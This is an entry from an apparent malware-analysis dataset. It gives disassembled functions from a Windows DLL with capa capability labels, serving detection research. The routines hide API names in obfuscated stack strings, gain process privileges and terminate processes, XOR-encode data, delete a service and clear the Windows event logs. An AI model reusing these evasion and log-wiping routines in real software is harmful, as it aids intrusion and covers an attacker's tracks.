joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004360
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
mov eax, dword [0x1001f020]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
mov ebx, dword [esp + 0x28]
push ebp
mov ebp, dword [esp + 0x30]
push esi
push edi
xor esi, esi
call fcn.10003c90
mov edi, eax
test edi, edi
je 0x100043f7
lea eax, [esp + 0x10]
mov word [esp + 0x16], 0x6f64
push eax
push edi
mov word [esp + 0x2c], 0x7373
mov dword [esp + 0x21], 0x65726854
mov dword [esp + 0x27], 0x636f7250
mov word [esp + 0x18], 0x6547
mov word [esp + 0x1b], 0x6957
mov byte [esp + 0x2b], 0x65
mov byte [esp + 0x1d], 0x6e
mov word [esp + 0x25], 0x6461
mov word [esp + 0x2f], 0x64
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x20], 0x77
mov byte [esp + 0x2e], 0x49
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100043f0
push ebp
push ebx
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x2c]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.100093ed
add esp, 0x20
ret

Function at 0x10004410
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
mov eax, dword [0x1001f020]
xor eax, esp
mov dword [esp + 0xc], eax
push esi
mov esi, dword [esp + 0x18]
lea eax, [esp + 4]
push edi
mov edi, dword [esp + 0x20]
push eax
mov dword [esp + 0x10], 0x6c416c61
mov word [esp + 0x15], 0x636f
mov word [esp + 0xd], 0x6f6c
mov byte [esp + 0x14], 0x6c
mov byte [esp + 0xc], 0x47
mov byte [esp + 0x17], 0
mov byte [esp + 0xf], 0x62
call fcn.10003bb0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000447c
push edi
push esi
call eax
pop edi
pop esi
mov ecx, dword [esp + 0xc]
xor ecx, esp
call fcn.100093ed
add esp, 0x10
ret
mov ecx, dword [esp + 0x14]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.100093ed
add esp, 0x10
ret

Function at 0x10004490
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
mov eax, dword [0x1001f020]
xor eax, esp
mov dword [esp + 0xc], eax
push esi
mov esi, dword [esp + 0x18]
lea eax, [esp + 4]
push eax
mov dword [esp + 8], 0x626f6c47
mov word [esp + 0xd], 0x466c
mov word [esp + 0x10], 0x6565
mov byte [esp + 0x12], 0
mov byte [esp + 0xc], 0x61
mov byte [esp + 0xf], 0x72
call fcn.10003bb0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100044f0
push esi
call eax
pop esi
mov ecx, dword [esp + 0xc]
xor ecx, esp
call fcn.100093ed
add esp, 0x10
ret
mov ecx, dword [esp + 0x10]
mov eax, esi
pop esi
xor ecx, esp
call fcn.100093ed
add esp, 0x10
ret
Function at 0x10004510
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
mov eax, dword [0x1001f020]
xor eax, esp
mov dword [esp + 0x10], eax
push ebx
mov ebx, dword [esp + 0x1c]
push esi
push edi
xor esi, esi
call fcn.10003c90
mov edi, eax
test edi, edi
je 0x10004580
lea eax, [esp + 0xc]
mov word [esp + 0xc], 0x7349
push eax
push edi
mov dword [esp + 0x1a], 0x6956776f
mov word [esp + 0x17], 0x6e69
mov dword [esp + 0x1f], 0x656c6269
mov byte [esp + 0x16], 0x57
mov byte [esp + 0x1e], 0x73
mov byte [esp + 0x19], 0x64
mov byte [esp + 0x23], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10004579
push ebx
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x1c]
mov eax, esi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100093ed
add esp, 0x14
ret

Function at 0x100045a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
mov eax, dword [0x1001f020]
xor eax, esp
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x2c]
push ebx
mov ebx, dword [esp + 0x28]
push ebp
mov ebp, dword [esp + 0x30]
push esi
push edi
mov dword [esp + 0x10], eax
xor esi, esi
call fcn.10003b20
mov edi, eax
test edi, edi
je 0x10004625
lea eax, [esp + 0x14]
mov dword [esp + 0x16], 0x70756b6f
push eax
push edi
mov dword [esp + 0x2c], 0x65756c61
mov word [esp + 0x30], 0x41
mov dword [esp + 0x22], 0x76697250
mov word [esp + 0x1c], 0x6f4c
mov dword [esp + 0x28], 0x56656765
mov word [esp + 0x26], 0x6c69
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000461e
push dword [esp + 0x10]
push ebp
push ebx
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x2c]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.100093ed
add esp, 0x20
ret

Function at 0x100046d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
mov eax, dword [0x1001f020]
xor eax, esp
mov dword [esp + 0xc], eax
push ebx
mov ebx, dword [esp + 0x20]
lea eax, [esp + 4]
push esi
mov esi, dword [esp + 0x1c]
push edi
mov edi, dword [esp + 0x24]
push eax
mov word [esp + 0x10], 0x704f
mov dword [esp + 0x16], 0x7365636f
mov word [esp + 0x13], 0x506e
mov byte [esp + 0x12], 0x65
mov word [esp + 0x1a], 0x73
mov byte [esp + 0x15], 0x72
call fcn.10003bb0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10004740
push ebx
push edi
push esi
call eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc]
xor ecx, esp
call fcn.100093ed
add esp, 0x10
ret
mov ecx, dword [esp + 0x18]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100093ed
add esp, 0x10
ret
Function at 0x10004760
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x18
mov eax, dword [0x1001f020]
xor eax, esp
mov dword [esp + 0x14], eax
push ebx
mov ebx, dword [esp + 0x20]
push ebp
mov ebp, dword [esp + 0x2c]
push esi
push edi
xor esi, esi
call fcn.10003b20
mov edi, eax
test edi, edi
je 0x100047d3
lea eax, [esp + 0x10]
mov dword [esp + 0x14], 0x636f7250
push eax
push edi
mov dword [esp + 0x18], 0x6e65704f
mov dword [esp + 0x23], 0x656b6f54
mov word [esp + 0x20], 0x7365
mov word [esp + 0x27], 0x6e
mov byte [esp + 0x22], 0x73
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100047cc
push ebp
push dword [esp + 0x34]
push ebx
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x24]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.100093ed
add esp, 0x18
ret

Function at 0x100047f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x18
mov eax, dword [0x1001f020]
xor eax, esp
mov dword [esp + 0x14], eax
push esi
mov esi, dword [esp + 0x20]
push edi
call fcn.10003c40
mov edi, eax
test edi, edi
je 0x10004864
lea eax, [esp + 8]
mov word [esp + 0x17], 0x4165
push eax
push edi
mov word [esp + 0x1c], 0x614e
mov dword [esp + 0x17], 0x6c694664
mov byte [esp + 0x1b], 0x65
mov dword [esp + 0x12], 0x69466874
mov word [esp + 0x10], 0x6150
mov byte [esp + 0x1e], 0x6d
mov byte [esp + 0x21], 0
mov byte [esp + 0x16], 0x6e
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000485d
push esi
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x1c]
mov eax, esi
pop edi
pop esi
xor ecx, esp
call fcn.100093ed
add esp, 0x18
ret

Function at 0x10004880
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
mov eax, dword [0x1001f020]
xor eax, esp
mov dword [esp + 0x10], eax
push esi
mov esi, dword [esp + 0x1c]
lea eax, [esp + 4]
push edi
mov edi, dword [esp + 0x24]
push eax
mov dword [esp + 0xc], 0x636f7250
mov dword [esp + 0x15], 0x73726946
mov dword [esp + 0x11], 0x32337373
mov word [esp + 0x19], 0x74
mov byte [esp + 0x10], 0x65
call fcn.10003bb0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100048e6
push edi
push esi
call eax
pop edi
pop esi
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.100093ed
add esp, 0x14
ret
mov ecx, dword [esp + 0x18]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.100093ed
add esp, 0x14
ret
Function at 0x10004900
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
mov eax, dword [0x1001f020]
xor eax, esp
mov dword [esp + 0x10], eax
push esi
mov esi, dword [esp + 0x1c]
lea eax, [esp + 4]
push edi
mov edi, dword [esp + 0x24]
push eax
mov word [esp + 0xc], 0x7250
mov dword [esp + 0xf], 0x73736563
mov dword [esp + 0x13], 0x654e3233
mov word [esp + 0x17], 0x7478
mov byte [esp + 0x19], 0
mov byte [esp + 0xe], 0x6f
call fcn.10003bb0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000496a
push edi
push esi
call eax
pop edi
pop esi
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.100093ed
add esp, 0x14
ret
mov ecx, dword [esp + 0x18]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.100093ed
add esp, 0x14
ret

Function at 0x10004a00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x18
mov eax, dword [0x1001f020]
xor eax, esp
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x2c]
push ebx
mov ebx, dword [esp + 0x20]
push ebp
mov ebp, dword [esp + 0x28]
push esi
push edi
mov dword [esp + 0x10], eax
mov esi, 1
call fcn.10003b20
mov edi, eax
test edi, edi
je 0x10004a83
lea eax, [esp + 0x14]
mov dword [esp + 0x1c], 0x78457965
push eax
push edi
mov dword [esp + 0x1f], 0x6e65704f
mov word [esp + 0x28], 0x57
mov word [esp + 0x1c], 0x6552
mov byte [esp + 0x23], 0x4b
mov byte [esp + 0x1e], 0x67
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10004a7c
push dword [esp + 0x10]
push dword [esp + 0x3c]
push dword [esp + 0x3c]
push ebp
push ebx
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x24]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.100093ed
add esp, 0x18
ret

Function at 0x10004aa0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x28
mov eax, dword [0x1001f020]
xor eax, esp
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x34]
push ebx
mov ebx, dword [esp + 0x30]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x3c]
push ebp
mov ebp, dword [esp + 0x38]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x44]
push esi
mov dword [esp + 0x18], eax
mov esi, 1
mov eax, dword [esp + 0x4c]
push edi
mov dword [esp + 0x14], eax
call fcn.10003b20
mov edi, eax
test edi, edi
je 0x10004b4b
lea eax, [esp + 0x20]
mov dword [esp + 0x2d], 0x577845
push eax
push edi
mov word [esp + 0x2b], 0x7551
mov word [esp + 0x2e], 0x7972
mov word [esp + 0x29], 0x6765
mov dword [esp + 0x31], 0x65756c61
mov byte [esp + 0x28], 0x52
mov byte [esp + 0x2d], 0x65
mov byte [esp + 0x30], 0x56
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10004b44
push dword [esp + 0x14]
push dword [esp + 0x20]
push dword [esp + 0x18]
push dword [esp + 0x24]
push ebp
push ebx
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x34]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.100093ed
add esp, 0x28
ret
Function at 0x10004b60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x18
mov eax, dword [0x1001f020]
xor eax, esp
mov dword [esp + 0x14], eax
push ebx
mov ebx, dword [esp + 0x20]
push esi
push edi
xor esi, esi
call fcn.10003b70
mov edi, eax
test edi, edi
je 0x10004bd8
lea eax, [esp + 0xc]
mov word [esp + 0x1d], 0x4165
push eax
push edi
mov dword [esp + 0x20], 0x72756f73
mov dword [esp + 0x19], 0x6e6f4665
mov word [esp + 0x1d], 0x5274
mov dword [esp + 0x15], 0x766f6d65
mov byte [esp + 0x27], 0
mov byte [esp + 0x24], 0x63
mov byte [esp + 0x14], 0x52
mov byte [esp + 0x1f], 0x65
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10004bd1
push ebx
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x20]
mov eax, esi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100093ed
add esp, 0x18
ret

Function at 0x10004bf0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1c
mov eax, dword [0x1001f020]
xor eax, esp
mov dword [esp + 0x18], eax
push ebx
mov ebx, dword [esp + 0x24]
push ebp
mov ebp, dword [esp + 0x2c]
push esi
push edi
xor esi, esi
call fcn.10003c00
mov edi, eax
test edi, edi
je 0x10004c7e
lea eax, [esp + 0x10]
mov dword [esp + 0x20], 0x61507265
push eax
push edi
mov word [esp + 0x22], 0x6c61
mov dword [esp + 0x1d], 0x63657053
mov dword [esp + 0x24], 0x646c6f46
mov dword [esp + 0x18], 0x65474853
mov word [esp + 0x2d], 0x5768
mov byte [esp + 0x21], 0x69
mov byte [esp + 0x2f], 0
mov byte [esp + 0x1c], 0x74
mov byte [esp + 0x2c], 0x74
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10004c77
push dword [esp + 0x3c]
push dword [esp + 0x3c]
push ebp
push ebx
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x28]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.100093ed
add esp, 0x1c
ret

Function at 0x10004ca0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
mov eax, dword [0x1001f020]
xor eax, esp
mov dword [esp + 0xc], eax
push ebx
mov ebx, dword [esp + 0x18]
push esi
push edi
xor esi, esi
call fcn.10003c90
mov edi, eax
test edi, edi
je 0x10004cfe
lea eax, [esp + 0xc]
mov dword [esp + 0x10], 0x646e6957
push eax
push edi
mov word [esp + 0x1c], 0x776f
mov byte [esp + 0x1e], 0
mov dword [esp + 0x14], 0x776f6853
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10004cf7
push dword [esp + 0x24]
push ebx
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x18]
mov eax, esi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100093ed
add esp, 0x10
ret
Function at 0x10004d70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
mov eax, dword [0x1001f020]
xor eax, esp
mov dword [esp + 0xc], eax
push ebx
mov ebx, dword [esp + 0x18]
push esi
push edi
xor esi, esi
call fcn.10003c40
mov edi, eax
test edi, edi
je 0x10004dce
lea eax, [esp + 0xc]
mov dword [esp + 0xf], 0x6e496f54
push eax
push edi
mov word [esp + 0x1b], 0x4174
mov word [esp + 0x15], 0x7274
mov byte [esp + 0x14], 0x53
mov byte [esp + 0x1d], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10004dc7
push ebx
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x18]
mov eax, esi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100093ed
add esp, 0x10
ret

Function at 0x10004df0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x18
mov eax, dword [0x1001f020]
xor eax, esp
mov dword [esp + 0x14], eax
push esi
mov esi, dword [esp + 0x20]
lea eax, [esp + 4]
push eax
mov dword [esp + 0x11], 0x636f7250
mov dword [esp + 0xa], 0x6e696d72
mov word [esp + 0xf], 0x6574
mov dword [esp + 0x15], 0x737365
mov word [esp + 8], 0x6554
mov byte [esp + 0xe], 0x61
call fcn.10003bb0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10004e5a
push dword [esp + 0x24]
push esi
call eax
pop esi
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.100093ed
add esp, 0x18
ret
mov ecx, dword [esp + 0x18]
xor eax, eax
pop esi
xor ecx, esp
call fcn.100093ed
add esp, 0x18
ret

Function at 0x10005250
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
mov eax, dword [0x1001f020]
xor eax, esp
mov dword [esp + 0xc], eax
push ebx
mov ebx, dword [esp + 0x1c]
push esi
push edi
mov edi, dword [esp + 0x20]
call fcn.10003b20
mov esi, eax
test esi, esi
je 0x100052b9
lea eax, [esp + 0xc]
mov word [esp + 0xc], 0x444d
push eax
push esi
mov word [esp + 0x1a], 0x7461
mov word [esp + 0x17], 0x7055
mov byte [esp + 0x16], 0x35
mov byte [esp + 0x19], 0x64
mov word [esp + 0x1c], 0x65
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100052b2
push dword [esp + 0x28]
push ebx
push edi
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x18]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100093ed
add esp, 0x10
ret
Function at 0x10007a70
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov ebx, ecx
mov edx, 1
push esi
push edi
mov esi, 0x1571
mov dword [ebx + 0x1384], 0xffffffff
lea edi, [ebx + 8]
mov dword [ebx + 4], 0x1571
mov eax, esi
lea edi, [edi + 4]
shr eax, 0x1e
xor eax, esi
imul esi, eax, 0x6c078965
add esi, edx
inc edx
mov dword [edi - 4], esi
cmp edx, 0x270
jl 0x10007a93
push 0x1388
push dword [esp + 0x14]
mov dword [ebx], 0x270
push ebx
call fcn.100098b0
add esp, 0xc
mov eax, ebx
pop edi
pop esi
pop ebx
ret 4

Function at 0x10007ae0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov edx, dword [esp + 4]
push esi
push edi
mov dword [ecx + 0x1384], 0xffffffff
lea edi, [ecx + 8]
mov dword [ecx + 4], edx
mov esi, 1
jmp 0x10007b00
mov eax, edx
lea edi, [edi + 4]
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, esi
inc esi
mov dword [edi - 4], edx
cmp esi, 0x270
jl 0x10007b00
pop edi
mov dword [ecx], 0x270
mov eax, ecx
pop esi
ret 4

Function at 0x10007ba0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
push esi
push edi
mov edi, ecx
dec eax
jmp 0x10007bb0
xor ebp, ebp
xor ebx, ebx
test eax, eax
je 0x10007c34
mov ecx, dword [edi + 4]
dec ecx
shl ebp, cl
add ebp, ebp
mov esi, dword [edi]
mov eax, dword [esi]
cmp eax, 0x270
jne 0x10007bd4
mov ecx, esi
call fcn.10008050
jmp 0x10007be2
cmp eax, 0x4e0
jb 0x10007be2
mov ecx, esi
call fcn.10007f90
mov eax, dword [esi]
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
cmp eax, dword [edi + 8]
ja 0x10007bc0
mov ecx, dword [edi + 4]
or ebp, eax
mov eax, dword [esp + 0x14]
dec ecx
shl ebx, cl
dec eax
add ebx, ebx
or ebx, dword [edi + 8]
cmp ebx, eax
jb 0x10007bb8
xor edx, edx
mov eax, ebx
mov ebx, dword [esp + 0x14]
div ebx
mov ecx, eax
mov esi, edx
xor edx, edx
mov eax, ebp
div ebx
cmp eax, ecx
jb 0x10007c57
lea eax, [ebx - 1]
cmp esi, eax
jne 0x10007bb0
mov eax, ebp
xor edx, edx
div ebx
pop edi
pop esi
pop ebp
mov eax, edx
pop ebx
ret 4
Function at 0x10007e50
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov edi, ecx
xor ebp, ebp
lea ebx, [ebx]
mov ecx, dword [edi + 4]
dec ecx
shl ebx, cl
add ebx, ebx
jmp 0x10007e70
mov esi, dword [edi]
mov eax, dword [esi]
cmp eax, 0x270
jne 0x10007e84
mov ecx, esi
call fcn.10008050
jmp 0x10007e92
cmp eax, 0x4e0
jb 0x10007e92
mov ecx, esi
call fcn.10007f90
mov eax, dword [esi]
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov ecx, edx
shr ecx, 0x12
xor ecx, edx
cmp ecx, dword [edi + 8]
ja 0x10007e70
add ebp, dword [edi + 4]
or ebx, ecx
cmp ebp, 0x20
jb 0x10007e60
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
ret

Function at 0x10007f90
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov ebx, ecx
mov ecx, 0xe3
push esi
push edi
lea edi, [ebx + 0x9c4]
mov edx, dword [edi + 4]
lea edi, [edi + 4]
xor edx, dword [edi - 4]
and edx, 0x7fffffff
xor edx, dword [edi - 4]
mov eax, edx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr edx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x630]
xor eax, edx
mov dword [edi - 0x9c4], eax
dec ecx
jne 0x10007fa0
lea esi, [ebx + 0xd50]
mov edi, 0x18c
mov ecx, dword [esi]
lea esi, [esi + 4]
xor ecx, dword [esi]
and ecx, 0x7fffffff
xor ecx, dword [esi - 4]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi - 0xd50]
xor eax, ecx
mov dword [esi - 0x9c4], eax
dec edi
jne 0x10007fe0
mov ecx, dword [ebx + 0x1380]
xor ecx, dword [ebx + 4]
and ecx, 0x7fffffff
xor ecx, dword [ebx + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [ebx + 0x634]
xor eax, ecx
mov dword [ebx + 0x9c0], eax
mov dword [ebx], edi
pop edi
pop esi
pop ebx
ret

Function at 0x10008050
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
lea eax, [ecx + 8]
mov esi, 0x270
lea esp, [esp]
mov edx, dword [eax - 4]
lea eax, [eax + 4]
xor edx, dword [eax - 4]
and edx, 0x7fffffff
xor edx, dword [eax - 8]
mov ecx, edx
and cl, 1
movzx ecx, cl
neg ecx
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [eax + 0x62c]
xor ecx, edx
mov dword [eax + 0x9b8], ecx
dec esi
jne 0x10008060
pop esi
ret
Function at 0x10001a51
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
cmp dword [esp + 8], ecx
jle 0x10001a70
mov dl, byte [ecx + eax]
xor dl, 0x19
add dl, 0x7a
mov byte [ecx + eax], dl
inc ecx
cmp ecx, dword [esp + 8]
jl 0x10001a5d
ret

Function at 0x10002028
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
movzx eax, byte [ebp + 8]
dec eax
mov dword [ebp - 0xc], str.Application
mov dword [ebp - 8], str.Security
mov dword [ebp - 4], str.System
je 0x10002075
dec eax
je 0x1000206a
dec eax
je 0x1000205d
dec eax
jne 0x100020a7
mov eax, 0x1000a72c
mov dword [ebp - 8], eax
jmp 0x10002065
mov eax, 0x1000a72c
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
jmp 0x10002075
mov eax, 0x1000a72c
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 3
lea edi, [ebp - 0xc]
pop ebx
push dword [edi]
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov esi, eax
test esi, esi
je 0x1000209e
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
add edi, 4
dec ebx
jne 0x1000207e
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10002169
Capabilities:
Delete service
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_DeleteService]
call fcn.100020ed
lea eax, [ebp - 0x98]
mov dword [ebp - 0x98], 0x94
push eax
call dword [0x1000ac50]
cmp dword [ebp - 0x88], 2
jne 0x100021bf
cmp dword [ebp - 0x94], 6
jb 0x100021bf
mov dword [0x1000b108], 1
push 0
call dword [sym.imp.MSVCRT.dll_exit]
Function at 0x100023be
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d8
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x170
lea eax, [ebp - 0x2d8]
push esi
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
xor ebx, ebx
xor eax, eax
lea edi, [ebp - 0x167]
push 0x59
mov byte [ebp - 0x168], bl
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 2
push ebx
stosb byte es:[edi], al
push 1
lea eax, [ebp - 0x1cc]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000243a
lea eax, [ebp + 8]
push ebx
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffe90
add esi, 0x170
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10002441
xor eax, eax
jmp 0x100024c7
push edi
call dword [0x1000ac24]
lea eax, [ebp - 0x2d0]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x1000247e
lea eax, [ebp - 0x2d0]
push eax
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x168]
push str._s__s
push eax
call dword [0x1000ac74]
add esp, 0x10
jmp 0x10002492
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x2d4]
sub eax, ebx
je 0x100024b4
dec eax
je 0x100024b1
dec eax
dec eax
jne 0x100024c4
lea eax, [ebp - 0x168]
push eax
call fcn.10002169
jmp 0x100024c3
push ebx
jmp 0x100024b6
push 5
lea eax, [ebp - 0x168]
push eax
call fcn.100021c7
pop ecx
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret